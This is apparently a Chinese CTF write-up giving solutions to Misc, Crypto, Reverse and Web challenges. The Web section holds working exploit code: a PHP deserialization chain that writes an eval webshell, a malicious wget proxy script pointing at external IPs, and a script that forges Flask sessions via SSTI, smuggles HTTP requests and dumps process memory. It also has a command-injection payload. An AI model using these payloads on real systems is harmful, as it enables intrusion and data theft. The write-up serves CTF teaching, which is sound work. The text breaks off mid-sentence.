0x01 前言

此次比赛的复赛分为了个人赛和团队赛,所以会对文章分别发送,如果需要查看个人赛的WriteUp,请点击标题下方蓝字进入主页查看哦。

0x02 个人赛

Misc

应急食品

打开food.txt发现是一串base64代码,经过解码后发现在内容最后有个提示Hint:?GNP

观察字节流发现开头4个字节为98 05 e4 74,而PNG的文件头为89 50 4e 47,正好是十六进制的高低位进行了反转,那么编写脚本进行转换即可得到一张PNG图片

1
2
3
4
5
6
7
8
9
10
import base64
f1 = open('food.txt','rb').read()
data = base64.b64decode(f1)
f2 = open('org_food.png','ab')
for i in range(len(data)):
l = data[i] << 4 & 255
h = data[i] >> 4
data2 = (l + h).to_bytes(1, 'little')
f2.write(data2)
f2.close()

然后stegsolve打开看0通道发现LSB,提取即可得到flag

img

unhealthy QR

解压出来发现rar打不开,用010打开查看发现文件结构被修改过

根据rar4的结构分析,箭头所指位置应该为0x74

img

修改成74,解压

img

Un qr是dotcode图片

img

背景却变成了黑色,用stegsolve将其颜色反一下后,使用在线网站进行扫描

https://demo.dynamsoft.com/barcode-reader/

得到doooot

成功解压out.zip

img

发现为snow隐写

执行 .\SNOW.EXE -C .\out.txt即可得到flag

flag{sn0w_4nd_dot}

Colorful

给了两张图片,一张flag.png,一张flag{fake_flag}.png

img

图片很奇怪,颜色也很单一,先写个脚本看一下有哪些颜色,以fake为例

1
2
3
4
5
6
7
8
9
from PIL import Image
img = Image.open('flag{fake_flag}.png')
w,h = img.size
color = []
for i in range(h):
for j in range(w):
color.append(img.getpixel((j,i)))
print(set(color))
#{(0, 255, 255), (0, 255, 0), (0, 0, 0), (255, 0, 0), (255, 255, 255), (128, 128, 128), (0, 0, 255), (255, 0, 255)}

一共有8种颜色,其中一种(128,128,128)在最后,且和其他颜色不同,应为终止提示

结合描述和特征,能够判断为brainfuck,而除掉128之后只有7种颜色,根据brainfuck语言的解释,在brainfuck中逗号为接受一个输入,因为没有输入所以去掉逗号后为7种颜色,接下来就是为7种颜色进行排序。

len(‘flag{fake_flag}’) = 15,句号为输出,根据判断图片颜色个数为15的只有(255, 0, 255)

手动去生成一个flag{fake_flag}的brainfuck进行对比,就能发现(0,0,0)为<,(0, 0, 255)为+

根据循环[->xxxxxxxxxx<],且<已知,即可得到全部的索引对应,为:

<>-+,.[]

(0,0,0),(255,0,0),(0,255,0),(0,0,255),(255,255,0),(255,0,255),(0,255,255),(255,255,255)

据此,写出解flag.png的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image


img = Image.open('flag.png')
w,h = img.size

bf_ind = list('<>-+,.[]')
codes = ''
color_ind = [(0,0,0),(255,0,0),(0,255,0),(0,0,255),(255,255,0),(255,0,255),(0,255,255),(255,255,255)]
for i in range(h):
for j in range(w):
color = img.getpixel((j,i))
if(color == (128,128,128)):
print(codes)
exit()
else:
ind = color_ind.index(color)
codes += bf_ind[ind]

然后使用网站

https://gkucmierz.github.io/brainfuck-interpreter/

字节放入010

发现有密码,爆破纯数字得到密码

flag{colorful_brainfuck!!!}

babymusic

下载附件,修复二维码

扫描即可得到Flag。

LnMcoRhgirQ

解压得图,一个二维码,用手机软件Barcode Scanner

扫二维码四个角,得四串字符串,自己根据观察,组合成flag

Crypto

洗牌

简单题,就是随机打乱了一下flag,但是随机数种子给了。所以直接就能逆了,具体见脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c='9lf5c7504fbea330accg{c-8d6-62e-ef}3aa-d3-34'
import random
s=0x1869f0
random.seed(s)

import string
s=string.ascii_letters+string.digits
s=s[:len(c)]

ss=''.join(random.sample(s,len(s)))
sss=[0 for i in range(len(c))]
for i in range(len(ss)):
ind=s.index(ss[i])
sss[ind]=c[i]
print(''.join(sss))
#flag{327a6c-4304ad-5938ea-f0efb6-cc3e53-dc}

BabyRsa

首先模数的因子比较小,yafu可以分解。

然后根据欧拉定理可以求出欧拉函数。

最后RSA解密即可。

1
2
3
4
5
6
7
8
p=11795576488031432147
q=12296365925077812421
N=q**8 * p**8
phi=(q**8 -q **7)*(p**8 -p**7 )
from Crypto.Util.number import *
d=inverse(65537,phi)
c=97005606970821804403994763488668565541380119944415342813038679665968492985759461541273864242512555285439143004622121856190251008775641399317706165715818778134144273158588994292880105800607038946430945921187911592583778698219033437461671853884487810872315564812232169491576154432524236217382798380345144152
print(long_to_bytes(pow(c,d,N)))

DHDH

DH密钥交换。

但是题目给了s的高位和s^2的高位。而且未知低位都很小,所以采用二元Copper进行攻击,具体见脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import itertools

'''
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
'''
p = 62606792596600834911820789765744078048692259104005438531455193685836606544743
g = 5
X = 1361502353718142335290756823026766551003746542140869010376
Y = 1828232899563452375539387989530262337663045447357617554114
'''
P.<x, y> = PolynomialRing(Zmod(p))
f=(x+X*pow(2,64))*(x+X*pow(2,64))-Y*pow(2,64)-y

root=small_roots(f, (2^64, 2^64), m=3)[0]
print(root)
'''
from hashlib import *
from Crypto.Cipher import AES

s = (X << 64) + 11214182670396543218
key = sha256(str(s).encode()).digest()
aes = AES.new(key[:16], AES.MODE_ECB)
c = 'fe9d5504337268af5038f5f538d6e27c2a5d69b50edb8fdb3d085227090fab85f34c19fb3b32f6a1c667373d4ce9d5b0'
from binascii import *

cipher = aes.decrypt(unhexlify(c))
print(cipher)

signinrsa

维纳攻击,可以用风二西的工具

mt19937

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import random
import gmpy2
import libnum
from Crypto.Util.number import *
from Crypto.Cipher import AES
from randcrack import RandCrack

rc = RandCrack()
with open('output.txt', 'r') as f:
f = f.read().splitlines()
for i in f:
rc.submit(int(i))
random.seed(rc.predict_getrandbits(32))
while 1:
p = random.getrandbits(512)
if(gmpy2.is_prime(p)):
break
print(p)
n=46525839089831185701108110029310207690327424032321814763466869874332831086741382619752334191021679492220645276019663668176530504115445648367390471669858709146050115114858865711052569559692526357219007044679677272727587896873225732573756589863512041373160446977063051015729699733068553156799595721421097453539
c=29822058289270934870503131871050609432926038316538156730186283286275246317896375827435773865063696158692028753879569107781225950474808853846740295959610080904787522151259582033938657893213800958059983641080655825454919488558356164249385887903383766186002583422399085221963779028450817869129333354898753897816
q = n // p
print(q)
e = 0x10001
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(m)
print(long_to_bytes(m))

Reverse

ezre

Ida打开,发现他固定了srand的种子,调用rand生成序列数作为密钥。

我们直接复写一下就行了 请在linux下编译运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<iostream>

#include <string>
using namespace std;
int main() {
srand(0x34123);

unsigned int enc[] = { 0xffffffa0,0xffffffaa,0xffffffec,0xffffffb7,0xffffff85,0xffffffe3,0x4b,0x64,0xffffff85,0x5b,0x65,0xffffff94,0xffffff84,0xffffff88,0xffffffbc,0xffffffdd,0x49,0xffffffff,0xffffffcd,0x15,0xffffff90,0xffffffee,0xffffffb3,0x64,0xffffffb9,0x55,0x21,0x40,0x17,0xfffffff9,0x4a,0xffffff90,0xffffffdf,0xffffffe1,0xffffffa5,0xffffff8d,0xffffff8c,0x7b,0xffffffaf,0xffffff90,0x3f,0xffffffa5};
char m[42];
for (int i = 0; i <= 41; i++)
{
m[i] = enc[i] ^ i ^ (rand() & 0xff);
printf("%c", m[i]);
}
return 0;
}

flag{0118effa-9087-436b-83a2-03cd688eba5d}

jmpjmp

查壳

img

发现有upx 并且 段名称被修改,我们把段名称jmp0 jmp1恢复成UPX0 UPX1 即可用

upx -d 指令脱壳

脱完壳,用ida32打开 shift +f12 查看字符串

发现有字符串末尾有= 但是并不是正常的base64表,猜测换表了。并且下面也有一小段base64后的字符。猜测为我们的密文。按x交叉索引过去。发现此处一片红,ida不能正常f5.显示硬编码后,发现img

有花指令,并且有三处。直接nop 掉

即可重新定义后按p恢复成函数

img出现加密逻辑。

普通的逻辑运算,简单逆回去写个exp即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
k=[0x0000000C, 0x00000022, 0x00000038, 0x0000004E, 0x0000005A]
tk=B'GCH~1'
k=[k[i]^tk[i] for i in range(5)]
s=list(b'NQ9oD{4/57{H/3PW<E_Ax')
v4=[0]*12
v4[0] = 0;
v4[1] = 2;
v4[2] = 4;
v4[3] = 8;
v4[4] = 9;
v4[5] = 11;
v4[6] = 13;
v4[7] = 14;
v4[8] = 15;
v4[9] = 16;
v4[10] = 17;
v4[11] = 19;
for i in range(12):
s[v4[i]]-=50
for i in range(21):
s[i]^=k[i%5]
print(bytes(s))
#s='flag{W0w_y0U_3n0w_1unkcod3}'

本题关键是正确识别出UPX壳,并且恢复签名,然后使用upx -d 脱壳。

然后正确识别出换表base64 加密以及花指令的去除以及函数的恢复和重新定义 。

tea

观察程序流程,首先输入 32 位的 flag 之后与 0xab 异或,并且通过Unicorn Engine 执行 base64 解密出的 shellcode,并分配了内存空间设置了寄存器的值。

其实可以将通过函数指针来调用,不过既然是 python 来模拟的,那么我们就用 Capstone 来对代码进行反汇编,因为 shellcode 的函数参数类型等不好确定

Capstone 是一款反编译器,支持 x86、arm、mips 等架构,通过调用一些 api 函数可以进行汇编和反汇编。

1
2
3
4
5
6
7
8
9
import base64
from capstone import Cs, CS_ARCH_X86, CS_MODE_64, CsError

code = base64.b64decode( b"SDPASD2vAAAAfw2QkJCQgDQHfEj/wOvrPSs9Kj0pPSgpKyovNfWxNPWrwXx8fHyXKvWsvZx4fYw68UB+OE2EPfWrPb2TeT19ozhNhH29Pf2UtfodOvW0vZx4OH2kOvFAfThNhD31sz29k3k5fas4TYR9vj3/vX09/4VjAsg99XI99WhY/7l+/4F7A1M0H7kx8Qj5fD33cjHxGPl4PfdoWPdL9yN4OPcjdDj3K3A9xXx8fHw9xHx8fHyXwCciIyE9ID0hPSI9Iw=="
)
md = Cs(CS_ARCH_X86, CS_MODE_64)
for instruction in md.disasm(bytes(code), 0):#第一个参数是要反汇编的机器码 第二个参数是起始地址
print("0x%x:\t%s\t%s" % (instruction.address, instruction.mnemonic, instruction.op_str))

disasm 函数翻译到错误代码停止或完整反汇编 code 结束,显然之后的代码出现了问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
machine.reg_write(unicorn.x86_const.UC_X86_REG_RDI, CODE_ADDR + 0x18)
0x0: xor rax, rax
0x3: cmp rax, 0xaf
0x9: jg 0x18
0xb: nop
0xc: nop
0xd: nop
0xe: nop
0xf: xor byte ptr [rdi + rax], 0x7c
0x13: inc rax
0x16: jmp 3
0x18: cmp eax, 0x3d2a3d2b
0x1d: sub dword ptr [rip + 0x2a2b2928], edi

可知 RDI 指向代码 0x18 处,而上述代码块对 0x18 开始的 0xaf 字节异或了 0x7c,故此段位自修改代码,需要先对 0x18 后的 code 异或 0x7c 再进行反汇编,得到如下指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
0x0:     xor      rax, rax
0x3: cmp rax, 0xaf
0x9: jg 0x18
0xb: nop
0xc: nop
0xd: nop
0xe: nop
0xf: xor byte ptr [rdi + rax], 0x7c
0x13: inc rax
0x16: jmp 3
0x18: cmp eax, 0x3d2a3d2b
0x1d: sub dword ptr [rip + 0x2a2b2928], edi
0x0: push r15
0x2: push r14
0x4: push r13
0x6: push r12
0x8: push rbp
0x9: push rdi
0xa: push rsi
0xb: push rbx
0xc: mov r13, rcx
0xf: mov rdi, rdx
0x12: mov ebp, 0
0x17: jmp 0x6f
0x19: mov eax, edx
0x1b: shl eax, 4
0x1e: add eax, esi
0x20: lea r15d, [rdx + r8]
0x24: xor eax, r15d
0x27: mov r15d, edx
0x2a: shr r15d, 5
0x2e: add r15d, ebx
0x31: xor eax, r15d
0x34: add ecx, eax
0x36: sub r8d, 0x466186c9
0x3d: mov eax, ecx
0x3f: shl eax, 4
0x42: add eax, r11d
0x45: lea r15d, [rcx + r8]
0x49: xor eax, r15d
0x4c: mov r15d, ecx
0x4f: shr r15d, 5
0x53: add r15d, r10d
0x56: xor eax, r15d
0x59: add edx, eax
0x5b: add r9d, 1
0x5f: cmp r9d, 0x1f
0x63: jle 0x19
0x65: mov dword ptr [r14], ecx
0x68: mov dword ptr [r12], edx
0x6c: add ebp, 2
0x6f: cmp ebp, 7
0x72: jg 0xa3
0x74: movsxd rax, ebp
0x77: lea r14, [r13 + rax*4]
0x7c: mov ecx, dword ptr [r14]
0x7f: lea r12, [r13 + rax*4 + 4]
0x84: mov edx, dword ptr [r12]
0x88: mov esi, dword ptr [rdi]
0x8a: mov ebx, dword ptr [rdi + 4]
0x8d: mov r11d, dword ptr [rdi + 8]
0x91: mov r10d, dword ptr [rdi + 0xc]
0x95: mov r9d, 0
0x9b: mov r8d, 0
0xa1: jmp 0x5f
0xa3: pop rbx
0xa4: pop rsi
0xa5: pop rdi
0xa6: pop rbp
0xa7: pop r12
0xa9: pop r13
0xab: pop r14
0xad: pop r15

通过右移 5 和左移 4 外加题目名称可以确定是 Tea 系列,魔改了 delta 并且 sum+=delta 放到了 v0 的修改之后,也可以保存成文件,直接用ida64打开。参考 unicorn 中对寄存器的赋值,写出解密脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<iostream>
#define ut32 unsigned int
#define delta 0xb99e7937
void Tea_Decrypt(ut32* enc, ut32* k) {
ut32 sum = delta * 0x20;
ut32 v0 = enc[0];
ut32 v1 = enc[1];
for (int i = 0; i < 0x20; i++) {
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
sum -= delta;
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
}
enc[0] = v0;
enc[1] = v1;
}
int main() {
uint8_t m[32] = { 0x70,0x20,0x1c,0x3a,0xa2,0x00,0x59,0xa9,0x80,0xad,0x8d,0x7a,0x88,0xd4,0x30,0xe4,0x5e,0x34,0x37,0x6f,0x96,0x5d,0x82,0x7b,0xc3,0xcf,0xe2,0xc1,0x52,0x0d,0xf1,0x8d };
uint8_t k[16] = { 103, 69, 35, 1, 239, 205, 171, 137, 152, 186, 220, 254, 16, 50, 84, 118 };
for (int i = 0; i < 32; i += 8)
Tea_Decrypt((ut32*)(m + i), (ut32*)(k));
for (int i = 0; i < 32; i++)
printf("%c", m[i] ^0xab);
return 0;
}

# flag{ez_unicorn_!!!%$!#!@##@$%$}

MFC

  1. 使用查壳工具查壳,得知题目是MFC应用,没有加壳

  2. 利用IDA反编译程序,如果程序需要验证flag,那么必须先获取输入的文本,在Import界面搜索text,利用交叉引用找到关键函数,分析关键验证函数

  3. 分析得知,程序使用了异或算法对输入加密,然后与密文比对。

  4. 手动提取密文的十六进制,异或回去即可

1
2
3
4
c = [0xe1, 0xeb, 0xe6, 0xe0, 0xfc, 0xb6, 0xe1, 0xe3, 0xb2, 0xb6, 0xb7, 0xbe, 0xe2, 0xbe, 0xb1, 0xb2, 0xb2, 0xb6, 0xb6,
0xe2, 0xe2, 0xb3, 0xb0, 0xb3, 0xe2, 0xb2, 0xe3, 0xe3, 0xe2, 0xb3, 0xb7, 0xb7, 0xb0, 0xe6, 0xb0, 0xb6, 0xe1, 0xfa]
for i in c:
print(chr(i ^ 0x87), end='')

得到flag
flag{1fd5109e965511ee474e5dde4007a71f}

Puzzle

查看信息

img

UPX 脱壳

img 脱壳失败

Ida 查看

img

发现不是 UPX,但是检测了为 UPX,使用 hex 编辑器将 FUK 修改为 UPX 后即可正常脱壳

img

img

Ida 查看 main 函数

img

关键函数 moving()

涉及到移动方式

img

分析可知迷宫大小为 512,但是直接查看并不能直接得到迷宫,注意到 init 函数

img

为迷宫的生成,并且每次生成 64 位,可知迷宫为 888 大小。

可以直接输入一串 u,让其进行多次生成,然后动调提取,再进行解题

img

根据 888 还原迷宫然后进行解题,得到路线为 ssddssuuwwddndduuussdussasauudd 验证一下

img

Flag为flag{ssddssuuwwddndduuussdussasauudd}

Web

EZUnserialize

访问题目可以直接得到源码

反序列化后函数执行只有一个入口\Starter::__destruct

只要对象的mainDicHand变量不为False就会调用worker成员变量的fremove函数,并且将成员变量mainDicHand作为参数执行

以为Helper类没有实现fremove函数且定义了__call函数所以这里可以调用\Helper::__call

之后会将Helper的成员变量invoke作为函数进行动态调用,传入未实现的函数参数作为执行参数

这里可将invoke定义为一个数组(Worker实现变量,”fwrite”)从而调用\Worker::fwrite写入shell

最终构造poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
//highlight_file(__FILE__);

class Worker{
function fwrite($data)
{
if(!isset($_POST["fname"]))exit("what is your filename???");
$fname = $_POST["fname"];
if(file_exists($fname)){
@unlink($fname);
}
file_put_contents($fname,$data);
echo "Your files are stored in $fname";
return true;
}
function fremove($fname)
{
if(file_exists($fname)){
@unlink($fname);
return true;
}
return false;
}
}

class Starter{
public $worker;
public function __construct(){
$this->worker = new worker();
}
function __destruct()
{
if( $this->mainDicHand !== FALSE )
{
$this->worker->fremove( $this->mainDicHand );
}
}
}

class Helper{
public $invoke;
public function __construct(){
$this->invoke = "var_dump";
}
function __call($name,$args){
echo "$name is not exists".PHP_EOL;
($this->invoke)($args);
}
}

$starter=new Starter();
$helper=new Helper();
$worker=new Worker();
$helper->invoke= array($worker,"fwrite");
$starter->mainDicHand = '<?php phpinfo();eval($_REQUEST[0]);?>';
$starter->worker = $helper;
printf(serialize($starter).PHP_EOL);

$_POST["fname"]="shell.php";
$_POST["data"]='O:7:"starter":2:{s:6:"worker";O:6:"helper":1:{s:6:"invoke";a:2:{i:0;O:6:"Worker":0:{}i:1;s:6:"fwrite";}}s:11:"mainDicHand";s:37:"<?php phpinfo();eval($_REQUEST[0]);?>";}';
if(isset($_POST["data"])){
unserialize($_POST["data"]);
}

将得到的数据作为data参数,再shell.php传入fname参数,然后就会在shell.php文件中生成一个webshell进行命令执行从而获取/flag

YouAreMyAgent

wget的专有环境变量WGETRC,wget命令的一个专有配置WGETRC可用于指定wget命令的配置文件(重要的是这个文件名没有任何限制)

需要了解一点 我们wget的数据保存在什么后缀名的文件中(如.php,.html等)并不是由返回的数据类型或者返回来的response数据包中的filename字段所决定的,而是根据请求url中的最后一个文件名判断,URL结尾如果有文件的话最终文件返回数据保存在这个文件中,如果没有的话默认保存于index.html

因此我们wget http://is.cumt.edu.cn/得到的数据应该是要保存在index.html中的

结合前面说的两点: 配置文件+文件下载,在当前看不到两者的火花,但是,如果我们可以控制index.html文件的内容呢?

代理

有基础的weber可跳过此部分

什么是代理?

一般的代理正常来说就是帮助我们转发信息,并将返回得到的信息交还回来给我们, 但是如果这时是一个恶意代理情况就不一样了

通过http_proxy配置设置代理服务器为我们的VPS,然后在代理端口进行服务,这时变成这样子的恶意服务

IMG_256

一般来说如图所示,代理服务器就是一个中转站,不会变更数据,但是如果此时我们变为一个恶意代理服务器,不管docker请求发起什么申请我们都返回一个恶意数据交给wget就会变为如下情况

IMG_257

可以看到,此时恶意数据就被wget收到后存在文件中(在题目中就是index.html),如果这个恶意数据就是我们上面所说的wget的配置数据呢?

使用代理

我们只要设置http_proxy或https_proxy为我们的VPS链接就会在wget请求http或https的时候使用我们的恶意VPS作为代理执行上述过程

我们确定恶意数据为:

1
2
3
http_proxy = http://47.99.70.18:2607/
use_proxy = on
output_document = filename

执行一个http代理服务后会在VPS主机开设一个监听端口等待docker连接

服务器的9999端口等待其它主机的连接,docker与VPS9999端口建立socket连接后传输数据,将我们的恶意数据包返回给docker交给wget进行处理保存

所以到此,我们就任意决定生成的用于存储数据的index.html中的文件内容了

WGETRC的作用

WGETRC简单理解就是wget的配置文件具体路径,用于指定wget的配置文件。

回到前面,我们说了要配置wget,配置文件内容也有了那么接下来我们要进行哪些配置?

传输参数: ?env_key=WGETRC&env_value=/var/www/html/index/html

http_proxy = http://47.99.70.18:2607/

用于设置http代理服务器

use_proxy = on

表示每次wget请求下载资源的时候都是用代理

output_document = filename

这个配置是最关键的,之前我们已经对上传的文件内容可控了,但是,只能控制index.html终究是利用有限,但是当我们进行了这个设置之后,我们保存的文件命令就是上面的filename而不是index.html

到这里,我们只要先使用代理将配置内容上传到index.html中然后设置参数WGERC=/var/www//html/index.html后面即可继续结合VPS服务器修改传输内容即可任意文件传输。

这里是PHP服务,如果我们的文件时shell.php即可直接getshell,或者也可以使用hack.so+LD_PRELOAD或者gconv-modules+UTF-8.so+GCONV_PATH等方式反弹shell,但是在这里没必要,直接传php文件即可,以下为操作过程:

http_proxy:访问http资源的代理地址

use_proxy:这次wget访问资源是否使用代理

output_document:返回的资源保存到哪个文件

然后设置WGETRC,将wget的配置文件指定为/var/www/html/index.html(就是上面通过wget下载到的文件),这次使用的代理服务端口为8888

修改脚本上传的文件内容为一个webshell

上传配置文件env_key=http_proxy&env_value=http://1.117.23.177:9999/

img

img

上传webshell文件 env_key=WGETRC&env_value=/var/www/html/index.html.12

img

访问webshell /1.php

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python2
# coding=utf-8

import socket

desc_host = '0.0.0.0'
desc_port = 9999#9999的时候上传wget的配置文件,7777上传webshell文件

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
try:
server.bind((desc_host, desc_port))
break
except:
pass

print "Proxying to %s:%s ..."%(desc_host, desc_port)

while 1:
server.listen(5)
conn, addr = server.accept()
recv=conn.recv(1024)
print recv
page = b"<?php @eval($_REQUEST[0]);phpinfo();"#webshell文件内容,7777端口代理返回
#page = b"http_proxy = http://1.117.23.177:7777/\nuse_proxy = on\noutput_document = 1.php"#wget配置文件内容,9999端口代理返回
head=b"""HTTP/1.1 200 OK
Server: gunicorn
Date: Mon, 18 Apr 2022 13:38:20 GMT
Connection: close
Content-Type: text/plain
Content-Length: """+str(len(page)).encode()+b"""
Content-Disposition: attachment; filename=333.php\t\n\n"""#这个文件名什么都行,不重要
conn.sendall(head+page)
print(head+page)
conn.close()

MemoryChallenge

打开链接可以直接得到app8888.py的源码

img

可以看到会进行身份验证才能使用一些接口,通过register可以注册用户并将用户名添加到users列表中

1
Login接口传入username和password,会检查用户名是否在队列中,如果在的话会读取home.html并且放入username进行使用render_template_string

进行字符串渲染

这里可以使用SSTI注入,但是这里很多关键字都被过滤了,保留了可以用于读取secret_key进行session伪造

img

登录查看secret_key

img

之后就可以进行session伪造了

注意: session伪造必须使用linux的python3,否则sesssion伪造会失败,以为linux和Windows的python中的Flask对session的加密方式是有区别的, 而python2和python3的session加密方式也是同样有区别的,所以需要使用linux的python3才能伪造session(可以像是poc一样直接开启一个flask服务然后设置secret_key也可以使用网上的flask_session伪造工具进行伪造)

使用伪造的session进行登录

img

img

此时访问/findflag和/download会发生变化

访问/download?filename=/app/app8887.py 查看8887端口服务源码

img

到此得到全部源码,可以看到flag文件在8887服务中flag被读取出来后就被删除,所以并不能通过文件读取的方式获得flag,但是flag是被读取了的并且作为被赋值给了一个变量,所以内存中会有flag的记录,linux怎么读取内存呢?

Linux的进程内存入口可以选择/proc/pid/mem,这里flag读取进程和内存读取进程都是8887服务,所以pid可以设为self(/proc/self/mem是不能被直接读取的,只能通过打开文件的方式读取内存,然后通过指定指针偏移来对其进行获取,而8888的/download接口并不做到这点,而8887的/admin/findflag就可以完成)

查看源码可见在8887端口有接口/admin/findfile可以进行自定义偏移量的文件读取
但是这个服务并未对外映射且为本地服务因此无法访问, 但是在8888端口的/findflag接口使用的是socket请求,并且其中的uri我们可以自定义,所以可以进行http走私请求,构造符合走私访问要求的uri

能进行走私请求访问/admin/findflag的uri如下:

1
2
3
4
5
6
uri = f"""admin/findfile?filename=../../../../../../..{filename}%26size={size} HTTP/1.1
Host: admin_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

之后就可以通过8887服务的/admin/findflag进行文件偏移读取,这里从/proc/self/mem读取8887服务的内存,
如果直接盲目的读取内存的话那是很低效的,以为里面会有很多的lib依赖包存放在内存中,它们占了很大一部分的内存,而这些都不是我们想要的这时我们,这时就可以结合使用记录内存分布的文件/proc/self/maps进行分析读取了

前面为内存存放起止地址,后面为存放的数据内容,我们这样子就可以直接排除掉so依赖文件的内容了,而我们的变量存储一般是空的,所以在这里我们可以直接读取那些后面标记为空的内存数据即可

之后就通过/admin/findflag进行http走私请求读取/proc/self/mem,并根据maps中的起止地址记录设置偏移和读取数据大小即可

请求后/admin/findflag会将数据读出并存放到/tmp下的一个随机文件中,这个随机文件名会返回给我们,然后我们就可以通过8888服务的/download进行下载

这里将全部非lib的so文件数据下载后就可以进行flag搜索了(其实并不用全部数据都dump下来,正常来说只要dump一部分数据下来就可以找到flag,但是也可能运气没那么好需要dump的数据就比较多了)

这里我将每段数据下载下来之后将他们存入./save文件夹下,文件名就是它们的其实地址
之后就可以使用grep进行flag搜索查询了

1
cd save ;grep -r flag{ .

找到flag匹配的文件后使用xxd结合grep寻找flag(以为这是二进制数据流所以并不能直接通过cat输出)

1
xxd 0x7f9a7ec6c000-0x7f9a7ecac000  |grep flag{

然后根据行号锁定flag位置

Poc脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!coding=utf-8
import base64
import os
import re
import threading
import requests,time
from flask import Flask,session
url = "http://1.117.23.177:8877/"
cookie=""
start_time=time.time()
def getKey():
global url
getKey_session = requests.session()
getKey_session.get(url + "register?username={{config}}&password=1")
text = getKey_session.get(url + "login").text
try:
securet_key = text. \
split("SECRET_KEY&#39;: &#39;")[1]. \
split("&#39;, ")[0]
except:
securet_key = text
print(securet_key)
return securet_key


app = Flask(__name__)
app.secret_key=getKey()

@app.route('/get_session', methods=['GET'])
def get_session():
session["name"]="admin"
session["is_admin"] = True
return "OK"


def get_cookie():
flask_session=requests.get("http://127.0.0.1:9999/get_session").headers["Set-Cookie"].split("session=")[1].split(";")[0]
print("flask_session",flask_session)
return flask_session


def dowload(filename,size):
global cookie,start_time
if cookie=="" or time.time()-start_time>60:
cookie=get_cookie()
start_time = time.time()
print(filename,size)
uri = f"""admin/findfile?filename=../../../../../../..{filename}%26size={size} HTTP/1.1
Host: admin_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

"""
res = requests.get(url + f"findflag?uri={uri}", cookies={"session": cookie})
print(res.content)
return res.content.split(b"dump to ")[1]

def poc():
time.sleep(2)
global cookie
pid="self"
file_maps_fname = dowload(f"/proc/{pid}/maps","0/100000").decode()
file_maps=requests.get(url+f"download?filename={file_maps_fname}",cookies={"session": cookie}).text
os.system("rm -rf ./save;mkdir save")
print(file_maps)
for i in file_maps.split("\n"):
try:
if ".so" in i or "lib" in i or "python3" in i or "dev" in i:
continue
t = re.match(r"[0-9-abcdef]*", i)
location = t.group().split("-")
try:
start, end = "0x" + location[0], "0x" + location[1]
except:
continue
fname = "./save/" + start + "-" + end
print(fname)
save = open(fname, "ab")
file_temp_name = dowload(f"/proc/{pid}/mem", f"{int(start, 16)}/{int(end, 16)}").decode()
print(file_temp_name)
tt = requests.get(url + f"download?filename={file_temp_name}", cookies={"session": cookie}).content
save.write(tt)
save.close()
print("Finish")
except:
print("Error")


threading.Thread(target=poc).start()
app.run(host="127.0.0.1", port=9999)

Easy math

总体意思为GET传入一个c参数,要求1.长度小于80,2.字符串不能在黑名单内,3.可以输入白名单的函数,然后输出c的参数。

首先,构造payload:?c=system(ls)

因为system,ls在不在白名单中,所有更改一下形式:?c=$_GET[a]($_GET[b])&a=system&b=ls

因为对长度限制,我们再更改一下格式?c=$pi=_GET;&&pi{pi}($$pi{abs})&pi=system&abs=ls

因为“_GET”在不在白名单中,

